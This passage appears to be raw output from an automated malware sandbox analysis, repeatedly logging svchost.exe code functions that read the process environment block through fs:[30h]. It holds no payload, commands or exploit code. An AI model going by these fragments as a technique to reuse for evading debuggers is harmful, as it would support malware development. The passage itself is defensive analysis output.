            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]2_2_032E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]2_2_032E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]2_2_032E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]2_2_032E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]2_2_032E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B8243 mov eax, dword ptr fs:[00000030h]2_2_032B8243
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B8243 mov ecx, dword ptr fs:[00000030h]2_2_032B8243
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0330625D mov eax, dword ptr fs:[00000030h]2_2_0330625D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322A250 mov eax, dword ptr fs:[00000030h]2_2_0322A250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03236259 mov eax, dword ptr fs:[00000030h]2_2_03236259
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032EA250 mov eax, dword ptr fs:[00000030h]2_2_032EA250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032EA250 mov eax, dword ptr fs:[00000030h]2_2_032EA250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032402A0 mov eax, dword ptr fs:[00000030h]2_2_032402A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032402A0 mov eax, dword ptr fs:[00000030h]2_2_032402A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032C62A0 mov eax, dword ptr fs:[00000030h]2_2_032C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032C62A0 mov ecx, dword ptr fs:[00000030h]2_2_032C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032C62A0 mov eax, dword ptr fs:[00000030h]2_2_032C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032C62A0 mov eax, dword ptr fs:[00000030h]2_2_032C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032C62A0 mov eax, dword ptr fs:[00000030h]2_2_032C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032C62A0 mov eax, dword ptr fs:[00000030h]2_2_032C62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326E284 mov eax, dword ptr fs:[00000030h]2_2_0326E284
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326E284 mov eax, dword ptr fs:[00000030h]2_2_0326E284
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B0283 mov eax, dword ptr fs:[00000030h]2_2_032B0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B0283 mov eax, dword ptr fs:[00000030h]2_2_032B0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B0283 mov eax, dword ptr fs:[00000030h]2_2_032B0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032402E1 mov eax, dword ptr fs:[00000030h]2_2_032402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032402E1 mov eax, dword ptr fs:[00000030h]2_2_032402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032402E1 mov eax, dword ptr fs:[00000030h]2_2_032402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323A2C3 mov eax, dword ptr fs:[00000030h]2_2_0323A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323A2C3 mov eax, dword ptr fs:[00000030h]2_2_0323A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323A2C3 mov eax, dword ptr fs:[00000030h]2_2_0323A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323A2C3 mov eax, dword ptr fs:[00000030h]2_2_0323A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323A2C3 mov eax, dword ptr fs:[00000030h]2_2_0323A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033062D6 mov eax, dword ptr fs:[00000030h]2_2_033062D6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03260124 mov eax, dword ptr fs:[00000030h]2_2_03260124
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DE10E mov eax, dword ptr fs:[00000030h]2_2_032DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DE10E mov ecx, dword ptr fs:[00000030h]2_2_032DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DE10E mov eax, dword ptr fs:[00000030h]2_2_032DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DE10E mov eax, dword ptr fs:[00000030h]2_2_032DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DE10E mov ecx, dword ptr fs:[00000030h]2_2_032DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DE10E mov eax, dword ptr fs:[00000030h]2_2_032DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DE10E mov eax, dword ptr fs:[00000030h]2_2_032DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DE10E mov ecx, dword ptr fs:[00000030h]2_2_032DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DE10E mov eax, dword ptr fs:[00000030h]2_2_032DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DE10E mov ecx, dword ptr fs:[00000030h]2_2_032DE10E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DA118 mov ecx, dword ptr fs:[00000030h]2_2_032DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DA118 mov eax, dword ptr fs:[00000030h]2_2_032DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DA118 mov eax, dword ptr fs:[00000030h]2_2_032DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DA118 mov eax, dword ptr fs:[00000030h]2_2_032DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032F0115 mov eax, dword ptr fs:[00000030h]2_2_032F0115
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03304164 mov eax, dword ptr fs:[00000030h]2_2_03304164
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03304164 mov eax, dword ptr fs:[00000030h]2_2_03304164
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032C4144 mov eax, dword ptr fs:[00000030h]2_2_032C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032C4144 mov eax, dword ptr fs:[00000030h]2_2_032C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032C4144 mov ecx, dword ptr fs:[00000030h]2_2_032C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032C4144 mov eax, dword ptr fs:[00000030h]2_2_032C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032C4144 mov eax, dword ptr fs:[00000030h]2_2_032C4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322C156 mov eax, dword ptr fs:[00000030h]2_2_0322C156
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032C8158 mov eax, dword ptr fs:[00000030h]2_2_032C8158
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03236154 mov eax, dword ptr fs:[00000030h]2_2_03236154
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03236154 mov eax, dword ptr fs:[00000030h]2_2_03236154
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03270185 mov eax, dword ptr fs:[00000030h]2_2_03270185
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032EC188 mov eax, dword ptr fs:[00000030h]2_2_032EC188
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032EC188 mov eax, dword ptr fs:[00000030h]2_2_032EC188
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D4180 mov eax, dword ptr fs:[00000030h]2_2_032D4180
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D4180 mov eax, dword ptr fs:[00000030h]2_2_032D4180
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B019F mov eax, dword ptr fs:[00000030h]2_2_032B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B019F mov eax, dword ptr fs:[00000030h]2_2_032B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B019F mov eax, dword ptr fs:[00000030h]2_2_032B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B019F mov eax, dword ptr fs:[00000030h]2_2_032B019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322A197 mov eax, dword ptr fs:[00000030h]2_2_0322A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322A197 mov eax, dword ptr fs:[00000030h]2_2_0322A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322A197 mov eax, dword ptr fs:[00000030h]2_2_0322A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033061E5 mov eax, dword ptr fs:[00000030h]2_2_033061E5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032601F8 mov eax, dword ptr fs:[00000030h]2_2_032601F8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032F61C3 mov eax, dword ptr fs:[00000030h]2_2_032F61C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032F61C3 mov eax, dword ptr fs:[00000030h]2_2_032F61C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AE1D0 mov eax, dword ptr fs:[00000030h]2_2_032AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AE1D0 mov eax, dword ptr fs:[00000030h]2_2_032AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AE1D0 mov ecx, dword ptr fs:[00000030h]2_2_032AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AE1D0 mov eax, dword ptr fs:[00000030h]2_2_032AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AE1D0 mov eax, dword ptr fs:[00000030h]2_2_032AE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322A020 mov eax, dword ptr fs:[00000030h]2_2_0322A020
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322C020 mov eax, dword ptr fs:[00000030h]2_2_0322C020
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032C6030 mov eax, dword ptr fs:[00000030h]2_2_032C6030
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B4000 mov ecx, dword ptr fs:[00000030h]2_2_032B4000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]2_2_032D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]2_2_032D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]2_2_032D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]2_2_032D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]2_2_032D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]2_2_032D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]2_2_032D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D2000 mov eax, dword ptr fs:[00000030h]2_2_032D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0324E016 mov eax, dword ptr fs:[00000030h]2_2_0324E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0324E016 mov eax, dword ptr fs:[00000030h]2_2_0324E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0324E016 mov eax, dword ptr fs:[00000030h]2_2_0324E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0324E016 mov eax, dword ptr fs:[00000030h]2_2_0324E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325C073 mov eax, dword ptr fs:[00000030h]2_2_0325C073
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03232050 mov eax, dword ptr fs:[00000030h]2_2_03232050
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B6050 mov eax, dword ptr fs:[00000030h]2_2_032B6050
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032280A0 mov eax, dword ptr fs:[00000030h]2_2_032280A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032C80A8 mov eax, dword ptr fs:[00000030h]2_2_032C80A8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032F60B8 mov eax, dword ptr fs:[00000030h]2_2_032F60B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032F60B8 mov ecx, dword ptr fs:[00000030h]2_2_032F60B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323208A mov eax, dword ptr fs:[00000030h]2_2_0323208A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322A0E3 mov ecx, dword ptr fs:[00000030h]2_2_0322A0E3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032380E9 mov eax, dword ptr fs:[00000030h]2_2_032380E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B60E0 mov eax, dword ptr fs:[00000030h]2_2_032B60E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322C0F0 mov eax, dword ptr fs:[00000030h]2_2_0322C0F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032720F0 mov ecx, dword ptr fs:[00000030h]2_2_032720F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B20DE mov eax, dword ptr fs:[00000030h]2_2_032B20DE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326C720 mov eax, dword ptr fs:[00000030h]2_2_0326C720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326C720 mov eax, dword ptr fs:[00000030h]2_2_0326C720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326273C mov eax, dword ptr fs:[00000030h]2_2_0326273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326273C mov ecx, dword ptr fs:[00000030h]2_2_0326273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326273C mov eax, dword ptr fs:[00000030h]2_2_0326273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AC730 mov eax, dword ptr fs:[00000030h]2_2_032AC730
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326C700 mov eax, dword ptr fs:[00000030h]2_2_0326C700
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03230710 mov eax, dword ptr fs:[00000030h]2_2_03230710
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03260710 mov eax, dword ptr fs:[00000030h]2_2_03260710
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03238770 mov eax, dword ptr fs:[00000030h]2_2_03238770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]2_2_03240770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]2_2_03240770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]2_2_03240770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]2_2_03240770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]2_2_03240770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]2_2_03240770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]2_2_03240770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]2_2_03240770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]2_2_03240770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]2_2_03240770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]2_2_03240770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240770 mov eax, dword ptr fs:[00000030h]2_2_03240770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326674D mov esi, dword ptr fs:[00000030h]2_2_0326674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326674D mov eax, dword ptr fs:[00000030h]2_2_0326674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326674D mov eax, dword ptr fs:[00000030h]2_2_0326674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03230750 mov eax, dword ptr fs:[00000030h]2_2_03230750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032BE75D mov eax, dword ptr fs:[00000030h]2_2_032BE75D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272750 mov eax, dword ptr fs:[00000030h]2_2_03272750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272750 mov eax, dword ptr fs:[00000030h]2_2_03272750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B4755 mov eax, dword ptr fs:[00000030h]2_2_032B4755
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032307AF mov eax, dword ptr fs:[00000030h]2_2_032307AF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E47A0 mov eax, dword ptr fs:[00000030h]2_2_032E47A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D678E mov eax, dword ptr fs:[00000030h]2_2_032D678E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032527ED mov eax, dword ptr fs:[00000030h]2_2_032527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032527ED mov eax, dword ptr fs:[00000030h]2_2_032527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032527ED mov eax, dword ptr fs:[00000030h]2_2_032527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032BE7E1 mov eax, dword ptr fs:[00000030h]2_2_032BE7E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032347FB mov eax, dword ptr fs:[00000030h]2_2_032347FB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032347FB mov eax, dword ptr fs:[00000030h]2_2_032347FB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323C7C0 mov eax, dword ptr fs:[00000030h]2_2_0323C7C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B07C3 mov eax, dword ptr fs:[00000030h]2_2_032B07C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0324E627 mov eax, dword ptr fs:[00000030h]2_2_0324E627
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03266620 mov eax, dword ptr fs:[00000030h]2_2_03266620
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03268620 mov eax, dword ptr fs:[00000030h]2_2_03268620
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323262C mov eax, dword ptr fs:[00000030h]2_2_0323262C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AE609 mov eax, dword ptr fs:[00000030h]2_2_032AE609
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0324260B mov eax, dword ptr fs:[00000030h]2_2_0324260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0324260B mov eax, dword ptr fs:[00000030h]2_2_0324260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0324260B mov eax, dword ptr fs:[00000030h]2_2_0324260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0324260B mov eax, dword ptr fs:[00000030h]2_2_0324260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0324260B mov eax, dword ptr fs:[00000030h]2_2_0324260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0324260B mov eax, dword ptr fs:[00000030h]2_2_0324260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0324260B mov eax, dword ptr fs:[00000030h]2_2_0324260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272619 mov eax, dword ptr fs:[00000030h]2_2_03272619
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032F866E mov eax, dword ptr fs:[00000030h]2_2_032F866E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032F866E mov eax, dword ptr fs:[00000030h]2_2_032F866E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326A660 mov eax, dword ptr fs:[00000030h]2_2_0326A660
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326A660 mov eax, dword ptr fs:[00000030h]2_2_0326A660
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03262674 mov eax, dword ptr fs:[00000030h]2_2_03262674
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0324C640 mov eax, dword ptr fs:[00000030h]2_2_0324C640
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326C6A6 mov eax, dword ptr fs:[00000030h]2_2_0326C6A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032666B0 mov eax, dword ptr fs:[00000030h]2_2_032666B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03234690 mov eax, dword ptr fs:[00000030h]2_2_03234690
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03234690 mov eax, dword ptr fs:[00000030h]2_2_03234690
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AE6F2 mov eax, dword ptr fs:[00000030h]2_2_032AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AE6F2 mov eax, dword ptr fs:[00000030h]2_2_032AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AE6F2 mov eax, dword ptr fs:[00000030h]2_2_032AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AE6F2 mov eax, dword ptr fs:[00000030h]2_2_032AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B06F1 mov eax, dword ptr fs:[00000030h]2_2_032B06F1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B06F1 mov eax, dword ptr fs:[00000030h]2_2_032B06F1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326A6C7 mov ebx, dword ptr fs:[00000030h]2_2_0326A6C7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326A6C7 mov eax, dword ptr fs:[00000030h]2_2_0326A6C7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240535 mov eax, dword ptr fs:[00000030h]2_2_03240535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240535 mov eax, dword ptr fs:[00000030h]2_2_03240535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240535 mov eax, dword ptr fs:[00000030h]2_2_03240535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240535 mov eax, dword ptr fs:[00000030h]2_2_03240535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240535 mov eax, dword ptr fs:[00000030h]2_2_03240535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240535 mov eax, dword ptr fs:[00000030h]2_2_03240535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325E53E mov eax, dword ptr fs:[00000030h]2_2_0325E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325E53E mov eax, dword ptr fs:[00000030h]2_2_0325E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325E53E mov eax, dword ptr fs:[00000030h]2_2_0325E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325E53E mov eax, dword ptr fs:[00000030h]2_2_0325E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325E53E mov eax, dword ptr fs:[00000030h]2_2_0325E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032C6500 mov eax, dword ptr fs:[00000030h]2_2_032C6500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03304500 mov eax, dword ptr fs:[00000030h]2_2_03304500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03304500 mov eax, dword ptr fs:[00000030h]2_2_03304500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03304500 mov eax, dword ptr fs:[00000030h]2_2_03304500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03304500 mov eax, dword ptr fs:[00000030h]2_2_03304500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03304500 mov eax, dword ptr fs:[00000030h]2_2_03304500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03304500 mov eax, dword ptr fs:[00000030h]2_2_03304500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03304500 mov eax, dword ptr fs:[00000030h]2_2_03304500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326656A mov eax, dword ptr fs:[00000030h]2_2_0326656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326656A mov eax, dword ptr fs:[00000030h]2_2_0326656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326656A mov eax, dword ptr fs:[00000030h]2_2_0326656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03238550 mov eax, dword ptr fs:[00000030h]2_2_03238550
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03238550 mov eax, dword ptr fs:[00000030h]2_2_03238550
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B05A7 mov eax, dword ptr fs:[00000030h]2_2_032B05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B05A7 mov eax, dword ptr fs:[00000030h]2_2_032B05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B05A7 mov eax, dword ptr fs:[00000030h]2_2_032B05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032545B1 mov eax, dword ptr fs:[00000030h]2_2_032545B1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032545B1 mov eax, dword ptr fs:[00000030h]2_2_032545B1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03232582 mov eax, dword ptr fs:[00000030h]2_2_03232582
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03232582 mov ecx, dword ptr fs:[00000030h]2_2_03232582
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03264588 mov eax, dword ptr fs:[00000030h]2_2_03264588
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326E59C mov eax, dword ptr fs:[00000030h]2_2_0326E59C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]2_2_0325E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]2_2_0325E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]2_2_0325E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]2_2_0325E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]2_2_0325E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]2_2_0325E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]2_2_0325E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]2_2_0325E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032325E0 mov eax, dword ptr fs:[00000030h]2_2_032325E0
